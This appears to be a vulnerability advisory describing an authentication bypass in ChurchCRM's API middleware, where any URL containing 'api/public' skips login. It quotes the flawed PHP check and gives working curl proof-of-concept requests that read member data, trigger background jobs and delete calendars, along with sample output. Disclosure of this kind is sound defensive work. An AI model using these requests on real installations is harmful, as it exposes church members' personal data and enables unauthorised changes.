Summary

A critical authentication bypass vulnerability in ChurchCRM's API middleware allows unauthenticated attackers to access all protected API endpoints by including "api/public" anywhere in the request URL, leading to complete exposure of church member data and system information.

Details

The vulnerability exists in src/ChurchCRM/Slim/Middleware/AuthMiddleware.php where the authentication check uses a flawed string matching approach:

// Line 15: Vulnerable authentication bypass
if (!str_contains($request->getUri(), 'api/public')) {
    // Authentication logic - bypassed if "api/public" found anywhere in URL
    $apiKey = $request->getHeader('x-api-key');
    if (!empty($apiKey)) {
        // API key validation
    } elseif (AuthenticationManager::validateUserSessionIsActive()) {
        // Session validation  
    } else {
        return $response->withStatus(401, gettext('No logged in user'));
    }
}
// Skip authentication entirely if "api/public" detected

The str_contains() function checks if "api/public" appears anywhere in the request URI, not just the path. This allows bypassing authentication by including "api/public" in query parameters, making all protected endpoints accessible without credentials.

PoC

1. Test normal endpoint (requires authentication):

   curl 'http://churchcrm.local/api/persons/latest'
   # Response: HTTP 401 No logged in user

2. Bypass authentication with query parameter:

   curl 'http://churchcrm.local/api/persons/latest?bypass=api/public'
   # Response: HTTP 200 + member data

3. Extract church member information:

   curl 'http://churchcrm.local/api/persons/latest?test=api/public' -s | jq '.'
   # Returns:
   {
     "people": [
       {
         "PersonId": 3,
         "FirstName": "1",
         "LastName": "1", 
         "FormattedName": "1 1 1",
         "Email": "",
         "Created": "09/26/2025"
       },
       {
         "PersonId": 2,
         "FirstName": "Teste",
         "LastName": "Test",
         "FormattedName": "Teste Test Test", 
         "Email": "",
         "Created": "09/26/2025"
       },
       {
         "PersonId": 1,
         "FirstName": "Church",
         "LastName": "Admin",
         "FormattedName": "Church Admin",
         "Email": null,
         "Created": "08/25/2004"
       }
     ]
   }

4. Access family role information:

   curl 'http://churchcrm.local/api/persons/roles?hack=api/public' -s | jq '.'
   # Returns family role structure and relationships

Confirmed Working Bypasses:

• ?bypass=api/public
• ?test=api/public
• ?hack=api/public
• #api/public (fragment)
• Any parameter containing "api/public"

4. Execute background timer jobs:

   curl 'http://churchcrm.local/api/background/timerjobs?exploit=api/public' -X POST
   # Triggers background processes without authentication

5. Access geocoding services:

   curl 'http://churchcrm.local/api/geocoder/address?test=api/public' \
     -X POST -H 'Content-Type: application/json' \
     -d '{"address":"123 Main St"}'
   # Returns: {"Latitude":0,"Longitude":0}

6. Delete user calendars (if calendars exist):

   curl 'http://churchcrm.local/api/calendar/1?test=api/public' -X DELETE
   # HTTP 404 confirms auth bypass worked, calendar ID doesn't exist

Confirmed Bypassed Endpoints:

• ✅ /api/persons/latest - Member data extraction
• ✅ /api/persons/roles - Family relationship data
• ✅ /api/persons/duplicate/emails - Email analysis
• ✅ /api/geocoder/address - Geocoding services (POST)
• ✅ /api/background/timerjobs - Background job execution (POST)
• ✅ /api/calendar/{id} - Calendar deletion (DELETE)

Note: Some endpoints have additional role-based middleware (AdminRoleAuthMiddleware, EditRecordsRoleAuthMiddleware) providing secondary protection, but many core API functions remain exposed.

Impact

Critical pre-authentication vulnerability affecting all ChurchCRM API endpoints. This vulnerability allows:

• Complete API authentication bypass for numerous endpoints
• Mass extraction of church member data including names, contact information, and personal details
• Access to family relationship structures and organizational data
• Background system job execution potentially affecting system performance
• Service abuse through geocoding and other functionality
• Calendar and event manipulation capabilities
• Privacy violations for all church members and families